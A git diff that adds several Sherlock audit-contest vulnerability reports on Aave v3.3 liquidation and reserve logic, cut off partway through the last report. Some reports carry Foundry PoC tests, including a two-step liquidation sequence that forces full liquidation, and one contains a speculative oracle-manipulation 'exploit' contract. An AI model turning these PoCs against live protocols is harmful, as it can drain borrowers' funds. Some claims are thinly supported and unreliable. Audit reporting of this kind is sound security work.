BorrowLogic.sol +modifier atomicStateUpdate() { + // Lock user configuration + require(!userConfigurationLocked[msg.sender], "STATE_LOCKED"); + userConfigurationLocked[msg.sender] = true; + _; + userConfigurationLocked[msg.sender] = false; +} + +function executeRepay(...) external atomicStateUpdate returns (uint256) { + // Existing code with atomic updates + if (variableDebt - paybackAmount == 0) { + userConfig.setBorrowing(reserve.id, false); + + if (isCollateral && IAToken(reserveCache.aTokenAddress).scaledBalanceOf(msg.sender) == 0) { + userConfig.setUsingAsCollateral(reserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); + } + } +} +``` diff --git a/194.md b/194.md new file mode 100644 index 0000000..1e7a5c6 --- /dev/null +++ b/194.md @@ -0,0 +1,76 @@ +Trendy Ceramic Worm + +Medium + +# Grace period set on reserves will affect correct liquidations after `MIN_LEFTOVER_BASE` introduction + +### Summary + +During a liquidation call, if any of the reserves is in a grace period, its debt balance is still accounted for and present in the `vars.totalDebtInBaseCurrency` variable during the execution of the `executeLiquidationCall()` function. + +This leads to overinflated `maxLiquidatableDebt` calculations, causing the liquidation call to revert in situations where that value is used and brings the debt below the `MIN_LEFTOVER_BASE` minimum debt amount when full debt liquidation is not possible. + +### Root Cause + +The `vars.totalDebtInBaseCurrency` value is overinflated with debt from reserves in a grace period, leading to incorrect calculations of `maxLiquidatableDebt`. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L295-L297 + +### Internal Pre-conditions + +1. User has debt in multiple reserves. +2. Grace period is set on some of the reserves. +3. User HF is below 1 but above 0.95. +4. The reserve in debt has more than 50% of the overall debt and is above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`. +5. Reserve collateral not in the grace period is slightly above the reserve debt. + +### External Pre-conditions + +None. + +### Attack Path + +1. Liquidator calls the `liquidationCall()` with the entire reserve debt amount, expecting to liquidate the maximum liquidatable debt possible. +2. The liquidation call reverts due to the `MUST_NOT_LEAVE_DUST` error. + +### Impact + +Liquidations behave unexpectedly when some of the reserves cannot be used due to the grace period. + +### PoC + +Add the following to `Pool.Liquidations.CloseFactor.t.sol` to demonstrate the issue: + +```solidity +function test_PoC_Grace_Period() external { + _supplyToPool(tokenList.usdx, bob, 2100e6); + _supplyToPool(tokenList.wbtc, bob, 15e5); + _supplyToPool(tokenList.weth, bob, 1 ether); + vm.prank(bob); + contracts.poolProxy.borrow(tokenList.usdx, 2050e6, 2, 0, bob); + _borrowToBeBelowHf(bob, tokenList.weth, 0.97 ether); + + vm.startPrank(poolAdmin); + contracts.poolConfiguratorProxy.setReservePause(tokenList.wbtc, false, 2 hours); + contracts.poolConfiguratorProxy.setReservePause(tokenList.weth, false, 2 hours); + vm.stopPrank(); + + vm.prank(liquidator); + IERC20Detailed(tokenList.usdx).approve(address(contracts.poolProxy), type(uint256).max); + vm.startPrank(liquidator); + + vm.expectRevert(bytes(Errors.MUST_NOT_LEAVE_DUST)); + contracts.poolProxy.liquidationCall( + tokenList.usdx, + tokenList.usdx, + bob, + 2050e6, + false + ); +} +``` + +### Mitigation + +- Do not account for debt from reserves in a grace period in the `vars.totalDebtInBaseCurrency` calculations. +- Alternatively, use half of the selected debt reserve as `maxLiquidatableDebt` if the original `maxLiquidatableDebt` calculation results in `vars.userReserveDebt - maxLiquidatableDebt < MIN_LEFTOVER_BASE`. \ No newline at end of file diff --git a/195.md b/195.md new file mode 100644 index 0000000..41afba2 --- /dev/null +++ b/195.md @@ -0,0 +1,144 @@ +Macho Tartan Finch + +Medium + +# Liquidation with 100% close factor is still possible even if HF is greater than 0.95 and both collateral and debt worth in base currency higher than MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + +### Summary + +100% Liquidation still possible even if HF is greater than 0.95 and both collateral and debt worth in base currency higher than MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD. + +### Root Cause + +This liquidation is possible when the debt amount in base currency is close to `MIN_BASE...` level. Normally in this situation, liquidator can liquidate up to 50% of the position. But liquidator may intentionally leave the position in unhealthy state such as 0.999 and he can force the close factor to 100% in second liquidation. + +This specific level percentage can be calculated with following formula: + +```math +PercentageToLeaveUnhealthyWithMaxAmount = (1 - HF ) / ( 1 - LT * Bonus ) +``` +After liquidation with few less amount of the percentage above, the position will be in unhealthy state and maximum amount of debt is liquidated in order to force the close factor to 100%. + +In second liquidation, liquidator can easily liquidate 100% of the position if the debt amount is lesser than `MIN_BASE...` after first liquidation. + +[Reference1](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283C1-L287C8) + +### Attack Path + +1. Liquidated `X` Amount of debt and leave the position unhealthy. +2. Liquidate 100% of the debt in second liquidation. + +### Impact + +It breaks the main invariant of the protocol because protocol states that only following positions can be liquidated 100%: + +> There are certain mutually inclusive conditions which increases the CLOSE_FACTOR to 100%: +when a users health-factor drops <=0.95 or +if the users total value of the debt position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD +if the users total value of the collateral position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + +In PoC none of the conditions are meet but it's still liquidateable with 100% close factor. Borrower will lose his funds because normally liquidating 50% of the position will put the position in healthy state ( above one for HF ). But instead, borrower will lose all of his funds. + +### PoC + +Following PoC test will prove the liquidation is possible: + +Add this test to Pool.Liquidations.CloseFactor.t.sol file + +Command: `forge test --match-test test_liquidate_100_percent_when_supply_gt_threshold_hf_gt_095 -vv` + +```solidity + function test_liquidate_100_percent_when_supply_gt_threshold_hf_gt_095() public { + + address collateralAsset = tokenList.weth; + address debtAsset = tokenList.usdx; + uint256 conf = contracts.poolProxy.getConfiguration(collateralAsset).data; + uint256 lt = (conf & 0x00000000000000000000000000000000000000000000000000000000FFFF0000) >> 16; + uint256 bonus = (conf & 0x0000000000000000000000000000000000000000000000000000FFFF00000000) >> 32; + console2.log('LT: %4e',lt); + console2.log('Bonus: %4e',bonus); + uint256 borrowPrice = contracts.aaveOracle.getAssetPrice(debtAsset); + uint256 collatPrice = contracts.aaveOracle.getAssetPrice(collateralAsset); + + uint256 borrowAmount = (LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD * + 10 ** IERC20Detailed(debtAsset).decimals() * 150) / ( borrowPrice * 100); // MIN_BASE * 1.5 = 3000 Debt In Base Currency + uint256 supplyAmount = ((borrowAmount * borrowPrice) / (10 ** IERC20Detailed(debtAsset).decimals()) * 96 * 10_000 / (100 * lt)) + * 10 ** IERC20Detailed(collateralAsset).decimals() / collatPrice; // For 0.96 HF + _supplyToPool(collateralAsset, bob, supplyAmount); + + vm.mockCall( + address(contracts.aaveOracle), + abi.encodeWithSelector(IPriceOracleGetter.getAssetPrice.selector, debtAsset), + abi.encode(0) + ); + + vm.prank(bob); + contracts.poolProxy.borrow(debtAsset, borrowAmount, 2, 0, bob); + vm.clearMockedCalls(); + + (uint256 realCollatAmount, uint256 realDebtAmount, , , , uint256 hf) = contracts.poolProxy.getUserAccountData(bob); + + // Double Check HF is 0.96 + console2.log('HF: %18e', hf); + console2.log('Is debt amount bigger than MIN_BASE: ', realDebtAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD); + console2.log('Is collateral amount bigger than MIN_BASE: ', realCollatAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD); + console2.log('Real Collat in Base: %8e',realCollatAmount); + console2.log('Real Debt in Base: %8e',realDebtAmount); + console2.log('MIN_BASE: %8e',LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD); + + // EDGE CASE: liquidate few less amounts from edge point + uint256 x = (1e18 - hf) * 1e18 / (1e18 - lt * bonus * 1e10) - 1e16; // 1e10 for decimal stabilization + uint256 debtToCover = borrowAmount * x / 1e18; + + console2.log('First Liquidation...'); + console2.log('Liquidate %18e percentage of debt', x); + vm.startPrank(liquidator); + IERC20Detailed(debtAsset).approve(address(contracts.poolProxy), type(uint256).max); + contracts.poolProxy.liquidationCall(collateralAsset, debtAsset, bob, debtToCover, false); + + (realCollatAmount, realDebtAmount, , , , hf) = contracts.poolProxy.getUserAccountData(bob); + console2.log('New HF: %18e', hf); + console2.log('Is debt amount bigger than MIN_BASE: ', realDebtAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD); + console2.log('Is collateral amount bigger than MIN_BASE: ', realCollatAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD); + + // Now Liquidate the rest of it + console2.log('Second Liquidation For Whole Position...'); + contracts.poolProxy.liquidationCall(collateralAsset, debtAsset, bob, type(uint256).max, false); + vm.stopPrank(); + + (realCollatAmount, realDebtAmount, , , ,) = contracts.poolProxy.getUserAccountData(bob); + console2.log('Last Debt: %8e', realDebtAmount); + console2.log('Last Collat: %8e', realCollatAmount); + + } +``` + +Output: + +```console + LT: 0.86 + Bonus: 1.05 + HF: 0.959999999996666667 + Is debt amount bigger than MIN_BASE: true + Is collateral amount bigger than MIN_BASE: true + Real Collat in Base: 3348.83720929 + Real Debt in Base: 3000 + MIN_BASE: 2000 + First Liquidation... + Liquidate 0.402371134054982814 percentage of debt + New HF: 0.998376919090562581 + Is debt amount bigger than MIN_BASE: false + Is collateral amount bigger than MIN_BASE: true + Second Liquidation For Whole Position... + Last Debt: 0 + Last Collat: 198.8372093 + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 103.11ms (3.19ms CPU time) + +Ran 1 test suite in 111.04ms (103.11ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) +``` + + +### Mitigation + +Do not allow the liquidators to leave the position in unhealthy state \ No newline at end of file diff --git a/196.md b/196.md new file mode 100644 index 0000000..715216c --- /dev/null +++ b/196.md @@ -0,0 +1,98 @@ +Slow Tweed Falcon + +Medium + +# Unexpected Excess of Reserve AToken + +### Summary + +The Reserve AToken can unexpectedly exceed the expected amount, leading to situations where users cannot supply to the Reserve. + +### Root Cause + +The issue arises from the following code snippets: +1. **Maximum Valid Reserve Factor Definition** +[https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L58](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L58) +```solidity + uint256 internal constant MAX_VALID_RESERVE_FACTOR = 65535; +``` +2. **Setting the Reserve Factor** + [https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L317-L326](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L317-L326) +```solidity + function setReserveFactor( + DataTypes.ReserveConfigurationMap memory self, + uint256 reserveFactor + ) internal pure { + require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.INVALID_RESERVE_FACTOR); + + self.data = + (self.data & ~RESERVE_FACTOR_MASK) | + (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); + } +``` +3. **Calculating Accrued Amount to Treasury** +[https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L238-L242](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L238-L242) +```solidity + uint256 amountToMint = totalDebtAccrued.percentMul(reserveCache.reserveFactor); + + if (amountToMint != 0) { + reserve.accruedToTreasury += amountToMint.rayDiv(reserveCache.nextLiquidityIndex).toUint128(); + } +``` +If the admin sets the `reserveFactor` to `65535`, the `accruedToTreasury` can exceed expectations, potentially being up to 6.5 times (650%) greater than anticipated. This surplus of Reserve AToken can lead to a revert when attempting to supply to the Reserve. + +### Internal Pre-conditions + +1. The supply cap of the Reserve shouldn't be zero. +2. The supply cap and decimal of the Reserve are lesser; the more, the better. + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. The Reserve AToken can unexpectedly exceed the expected amount. +2. The Reserve may become inoperable for users attempting to supply. + + +### PoC + +[https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L238-L242](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L238-L242) + +```solidity + uint256 amountToMint = totalDebtAccrued.percentMul(reserveCache.reserveFactor); + // amountToMint = ((totalDebtAccrued * reserveCache.reserveFactor) + 0.5 * 1e4) / 1e4 + // amountToMint = (totalDebtAccrued * 65535 + 5000) / 10000 + // amountToMint is greater than totalDebtAccrued * 6.5 (650%) + + if (amountToMint != 0) { + reserve.accruedToTreasury += amountToMint.rayDiv(reserveCache.nextLiquidityIndex).toUint128(); + } +``` +This shows that `amountToMint` is greater than 6.5 times (650%) `totalDebtAccrued`. + +[https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L81-L86](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L81-L86) +```solidity + require( + supplyCap == 0 || + ((IAToken(reserveCache.aTokenAddress).scaledTotalSupply() + + uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <= + supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()), + Errors.SUPPLY_CAP_EXCEEDED + ); +``` +This shows that an excess of Reserve AToken leads to the reversion of the supply feature. + +### Mitigation + +To mitigate this issue, consider adjusting the maximum valid reserve factor: + +[https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L58](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L58) +```solidity +@ uint256 internal constant MAX_VALID_RESERVE_FACTOR = 10000; +``` \ No newline at end of file diff --git a/197.md b/197.md new file mode 100644 index 0000000..c60381f --- /dev/null +++ b/197.md @@ -0,0 +1,83 @@ +Clever Garnet Jaguar + +Medium + +# Liquidators can routinely leave deficit not formed setting gas cost to cover normal liquidations only + +### Summary + +Liquidators can use tx gas limit to accept a loss instead of performing bad debt cleanup. When the latter is not profitable all the liquidators will avoid the last, `MIN_LEFTOVER_BASE` sized, part of the collateral in their calls and if one's call is about to be executed with higher gas usage this essentially means that a liquidator is not first and will obtain only `MIN_LEFTOVER_BASE` liquidation bonus (LB), paying the full deficit formation cost. If that bears a loss higher than a loss of just paying the non-deficit liquidation gas price the liquidators will routinely set the gas limit to cover it only, removing the possibility of bad debt clearing. + +### Root Cause + +Bad debt cleanup liquidations and normal liquidations have substantially different gas costs, while former is far less profitable for a liquidator (it's lower collateral left at that point). So in a competing environment where it's profitable to leave some collateral intact, the first liquidator get the main funds, while the late transactions will be executed at a loss, not being able to stop the execution otherwise, they can set gas costs to cover normal liquidations only whenever this loss be still more profitable than receiving a liquidation bonus off the small collateral leftover, while performing full bad debt clearing. + +These situations will essentially mean that borrower has paid full extra cost in the form of the nearly full position LB, while bad debt wasn't cleared and might not be cleared at all in the future, depending of the market state. I.e. liquidators can get the extra LB, creating more bad debt comparing to 3.2 and not clearing it. + +The creating more bad debt part comes from the fact that incentive to leave the smallest possible collateral leftover comes from the existence of bad debt cleanup logic, not present before, i.e. since 3.3 for one-collateral-many-debts borrowers if a liquidator don't leave something, they have to pay for `_burnBadDebt()`: + +[LiquidationLogic.sol#L408-L410](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L408-L410) + +```solidity + if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { +> _burnBadDebt(reservesData, reservesList, userConfig, params.reservesCount, params.user); + } +``` + +Which can be very costly (the `492078 - 392439` gas cost difference is multiplied by the number of additional active bad debt reserves): + +[Pool.Operations.json#L4-L9](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/Pool.Operations.json#L4-L9) + +```json +> "liquidationCall: deficit on liquidated asset": "392439", +> "liquidationCall: deficit on liquidated asset + other asset": "492078", + "liquidationCall: full liquidation": "392439", + "liquidationCall: full liquidation and receive ATokens": "368797", + "liquidationCall: partial liquidation": "383954", + "liquidationCall: partial liquidation and receive ATokens": "360308", +``` + +### Internal Pre-conditions + +Borrower being liquidated has one collateral, with other supplies being not used as collaterals, and a number of debts. This can be quite common since 3.3 spreading over many debt reserves comes as a natural remedy from `50%` rule change from being debt reserve wise to be the whole position wise. Liquidating one debt will bring HF up and can block the liquidations of all the other debts, while having one debt reserve a borrower can be liquidated fully at once. + + +### External Pre-conditions + +Gas price is high on liquidations and it's calm conditions level remains high enough so `LB * MIN_LEFTOVER_BASE` isn't enough to cover for gas costs of the deficit formations of all debt reserves of the borrower (this is done all in one atomically). + +### Attack Path + +Liquidators restrict gas spend of the transactions, so if they are winning the first place in a block it will be executed, but if they are not it will be reverted bearing the fixed loss of non-deficit liquidation gas budget. Whichever it will be depends solely on the state of the pool, tx parameters are the same. + +This allows liquidators to receive nearly full position LB, but not paying for deficit formation, essentially stealing from the borrowers 3.3 introduced extra LB. + +### Impact + +Since allowing the `50%` of all the total debt to be liquidated at once is a extra payoff for liquidators at the expense of the borrowers in order to provide bad debt clearing and deficit formation, the failure to do so is a direct loss for the borrowers from the 3.3 release. I.e. in the described circumstances nothing changes bad debt vice, it's still unrealized and require manual DAO intervention (repaying on behalf), but borrowers now lose more LB to liquidators. + +### PoC + +1. L1 borrower Bob have only one collateral, `totalAmount` of it, and have a number of different debt reserves, say `7`. A market wide down move just happened resulting with increased gas price and his collateral losing value sharply so it will no longer cover his biggest debt reserve's position after an addition of the liquidator incentive, i.e. his cumulative debt position becomes liquidable with bad debt coming from all the reserves. + +2. Liquidators Alice and Max both calculated the expected profit of two variants: liquidating the whole collateral and leaving `MIN_LEFTOVER_BASE` of it. Since the gas costs are elevated the total cost of bad debt cleanup for Bob's position is greater than liquidator incentive coming from `MIN_LEFTOVER_BASE` part of the collateral, so both Alice and Max simultaneously run liquidations calls with `debtToCover = totalAmount - MIN_LEFTOVER_BASE`, i.e. both want to leave the `MIN_LEFTOVER_BASE` part of Bob's collateral intact. + +3. Alice outbid Max for the block placement and run the liquidation, leaving Max tx to deal with only `MIN_LEFTOVER_BASE` of collateral, while it also having `debtToCover = totalAmount - MIN_LEFTOVER_BASE`. It will be reduced to `MIN_LEFTOVER_BASE` and Max's tx will be executed at loss. However, the loss comes from the extra gas costs of bad debt cleanup. + +4. Knowing that, both Alice and Max will set gas limit for their transactions to cover non-bad-debt case only. Say, in line with the [latest snapshot](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/snapshots/Pool.Operations.json#L4-L9) if all the no-bad-debt liquidations cost around `400k` and each bad debt clean-up cost around `100k` per asset, both Alice and Max can set the limit at `410k` if paying that much without receiving liquidation bonus if less expensive than clearing all the bad debt assets with the full cost, while receiving the `MIN_LEFTOVER_BASE * LB` payoff (let's omit protocol part for simplicity). What is more profitable between these two depends on the exact gas cost, price per action in the release version, native token price, collateral LB and the number of debt reserves Bob have. + +5. Depending on these variables bad debt might be profitable or not to be cleared even when gas price abates to its current norm. + +### Mitigation + +Consider evaluating bad debt clearing scenarios for the various min gas prices, collateral LBs and big enough number of debt assets to be cleared. That is, LB coming from the one size fits all `MIN_LEFTOVER_BASE` has to cover not just a normal liquidations, but a cleanup of may, e.g. `7-10` debt assets, with high enough low activity gas price, e.g. `15 Gwei`, and a low enough stable collateral asset LB, e.g. `4.5%`, in an environment of elevated ETH prices, e.g. ETH at `5k`, `10k`. Now it looks to be somewhat lower than needed, e.g. liquidating `7` assets at `15 Gwei` at the ETH price as of time of this report costs nearly twice more than `4.5% * 1000 = 45 USD` LB. + +Bearing in mind the outlined necessity to cover for these inherently costly scenarios consider rising `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`. + +There are some additional considerations: + +* `MIN_LEFTOVER_BASE` being higher than current minimal profitably liquidable debt only forces liquidation to be less fragmented, as low value positions can still be liquidated in full once `HF <= CLOSE_FACTOR_HF_THRESHOLD`: it forbids the case when `HF > CLOSE_FACTOR_HF_THRESHOLD` and `0.5 * totalDebtInBaseCurrency < MIN_LEFTOVER_BASE`, and it's profitable to liquidate `0.5 * totalDebtInBaseCurrency`, but not profitable to liquidate `totalDebtInBaseCurrency - MIN_LEFTOVER_BASE`, i.e. min `MIN_LEFTOVER_BASE` leftover requirement pushes the liquidation amount lower than `50%` of the whole portfolio and out of the profitable range so liquidation won't happen until HF deteriorates further, which puts some pressure on the overall health of the protocol + +* `MIN_LEFTOVER_BASE` being lower than current minimal profitably liquidable debt directly allows the creation of many leftover positions that won't be liquidated and also allows for more cases of leaving some collateral behind just to avoid bad debt cleanup. When `MIN_LEFTOVER_BASE` is big it forbids some material share of such cases (a position will generate bad debt if collateral be zeroed, so the liquidator would like to leave some, but can't as it violate the `MIN_LEFTOVER_BASE` leftover: this is as frequent as `MIN_LEFTOVER_BASE` is big, say zero requirement won't catch any such cases) and liquidators either game the system as described or pay for bad debt cleanup as designed + +That is, from overall design perspective it's a tradeoff, but bigger `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` and `MIN_LEFTOVER_BASE = MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD / 2` look more plausible. diff --git a/199.md b/199.md new file mode 100644 index 0000000..497bae9 --- /dev/null +++ b/199.md @@ -0,0 +1,51 @@ +Fast Pink Crow + +Medium + +# Users should not be able to liquidate themselves when there are bad debt on their positions + +### Summary + +When users are liquidated due to bad debt, the entire debt will be removed, and their entire collateral will be taken away. However, if the user is the liquidator, they will retain some collateral while the entire debt is still removed. + + +### Root Cause + + +When a user acts as the liquidator and there is bad debt in the overall positions, the entire collateral will be utilized to remove the bad debt across all other borrowed assets if the collateral is fully used. However, if the user chooses to liquidate their own position, the liquidator bonus is added, allowing the user to extract some value from their underwater position. + +In this check, it is verified whether the entire collateral is used. However, if the user is the liquidator, they retain some collateral from the liquidation bonus. This is inconsistent with the assumption that no collateral remains after liquidation. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L408-L410 + + +### Internal Pre-conditions + +1. Account is liquidatable such that the entire collateral will be used and all the debts will be removed +2. User liquidates themselves + +### External Pre-conditions + +None needed + +### Attack Path + +No attack path, can happen if above conditions are met. + +### Impact + +Theoretically user will have some collateral but the entire debts are removed. Not 100% consistent with the code assumptions. + +### PoC + +none needed. + +### Mitigation + +if the entire debt is removed and user has no collateral, then don't let the liquidator be the user getting liquidated. + +```solidity +if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { ++ require(msg.sender != params.user); + _burnBadDebt(reservesData, reservesList, userConfig, params.reservesCount, params.user); + } +``` \ No newline at end of file diff --git a/200.md b/200.md new file mode 100644 index 0000000..aed044a --- /dev/null +++ b/200.md @@ -0,0 +1,83 @@ +Suave Pink Condor + +High + +# Incorrect Collateral to Debt Conversion + +### Summary + +The _calculateAvailableCollateralToLiquidate function uses calculations based on collateral and debt prices but lacks sufficient validation, leading to potential inaccuracies in liquidation amounts. + +### Root Cause + +In https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L644 the _calculateAvailableCollateralToLiquidate function uses calculations based on collateral and debt prices but lacks sufficient validation, leading to potential inaccuracies in liquidation amounts. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + + +Exploit Feasibility: If an attacker can manipulate the price oracle to artificially inflate the collateral price, they can liquidate more collateral than the debt they are repaying as shown below. + +contract CollateralToDebtExploit { + IPriceOracleGetter public priceOracle; + LiquidationLogic public liquidationLogic; + + constructor(address _priceOracle, address _liquidationLogic) { + priceOracle = IPriceOracleGetter(_priceOracle); + liquidationLogic = LiquidationLogic(_liquidationLogic); + } + + function exploitManipulatedPrices( + address collateralAsset, + address debtAsset, + address user, + uint256 debtToCover + ) external { + // Step 1: Manipulate the price oracle (requires attacker control over oracle) + priceOracle.setPrice(collateralAsset, 100 ether); // Inflate collateral price + priceOracle.setPrice(debtAsset, 1 ether); // Deflate debt price + + // Step 2: Perform a liquidation call with manipulated prices + LiquidationLogic.ExecuteLiquidationCallParams memory params = LiquidationLogic + .ExecuteLiquidationCallParams({ + collateralAsset: collateralAsset, + debtAsset: debtAsset, + user: user, + debtToCover: debtToCover, + reservesCount: 2, + priceOracle: address(priceOracle), + userEModeCategory: 0, + priceOracleSentinel: address(0), + receiveAToken: false + }); + + liquidationLogic.executeLiquidationCall( + /* pass required reserves data, users config, and other parameters */ + params + ); + + // Step 3: Attacker receives more collateral than intended. + } +} + + +### Impact + +If the price oracle provides outdated or manipulated data, the calculated collateral amount could be incorrect, leading to over-collateralization or protocol losses. +The protocol could lose funds or incorrectly liquidate user positions. + +### PoC + +_No response_ + +### Mitigation + +Add slippage tolerance and price deviation checks for oracle values. +Use time-weighted average price (TWAP) oracles to reduce manipulation risks. \ No newline at end of file diff --git a/201.md b/201.md new file mode 100644 index 0000000..588c66d --- /dev/null +++ b/201.md @@ -0,0 +1,87 @@ +Glamorous Admiral Sloth + +Medium + +# validateLiquidationCall is wrongly implemented. + +### Summary + +in the validateLiquidationCall we are not verifying the lower bound of the MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD as at the lower bound of the params.healthFactor it should also work. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L244 + + require( + @>> vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, + Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD + ); + + + https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L403 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L415 + function validateLiquidationCall( + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveData storage collateralReserve, + DataTypes.ReserveData storage debtReserve, + DataTypes.ValidateLiquidationCallParams memory params + ) internal view { + ValidateLiquidationCallLocalVars memory vars; + + (vars.collateralReserveActive, , , vars.collateralReservePaused) = collateralReserve + .configuration + .getFlags(); + + (vars.principalReserveActive, , , vars.principalReservePaused) = params + .debtReserveCache + .reserveConfiguration + .getFlags(); + + require(vars.collateralReserveActive && vars.principalReserveActive, Errors.RESERVE_INACTIVE); + require(!vars.collateralReservePaused && !vars.principalReservePaused, Errors.RESERVE_PAUSED); + + require( + params.priceOracleSentinel == address(0) || + @>> params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || + IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), + Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED + ); + + require( + collateralReserve.liquidationGracePeriodUntil < uint40(block.timestamp) && + debtReserve.liquidationGracePeriodUntil < uint40(block.timestamp), + Errors.LIQUIDATION_GRACE_SENTINEL_CHECK_FAILED + ); + + require( + @>> params.healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD, + Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD + ); + + + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + params.healthFactor <= MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD \ No newline at end of file diff --git a/202.md b/202.md new file mode 100644 index 0000000..fed333e --- /dev/null +++ b/202.md @@ -0,0 +1,239 @@ +Clever Garnet Jaguar + +Medium + +# Deficit is ignored as if it wasn't ever borrowed in IRM supply-demand logic, so interest rates will be shifted downwards over time + +### Summary + +`deficit` part of the borrowed funds are now ignored in IRM logic as total debt figure supplied there does not include deficit. This twists any supply-demand logic IRM have / will have as it should't depend on the quality of the debt, but on the what was supplied to the pool and what was loaned from it only. Now deficit is treated as if it was never loaned, which is not correct. + +IRM interest rate logic is now twisted proportionally to the realized deficit value compared to the remaining active debt. This doesn't depend on the IRM logic itself as deficit is ignored on ReserveLogic call level. + +### Root Cause + + +`deficit` is not the same as `unbacked` in a way that there was no underlying supply for `unbacked` yet (first goes `mintUnbacked`, then `backUnbacked`), while there was supply for `deficit` (funds were supplied, loaned, then their accrual stopped when the debt was marked as bad, then there will be a coverage supply in `eliminateReserveDeficit()`). I.e. for interest rate logic `were never supplied` and `were supplied, were lost and to be compensated` are not the same situations. + +Essentially this is ReserveLogic issue, since any IRM logic has no chance to treat deficit correctly since it's not given to it as a parameter. Unlike `supplyUsageRatio` situation mixing Bridge initiated `unbacked` with `deficit` makes little sense for `borrowUsageRatio`, i.e. estimation of supply-demand situation of the pool, so it can't be calculated in any IRM logic. + +In order words, `totalDebt` in IRM logic should include deficit, but can't as it's not provided by ReserveLogic's `updateInterestRatesAndVirtualBalance()`: + 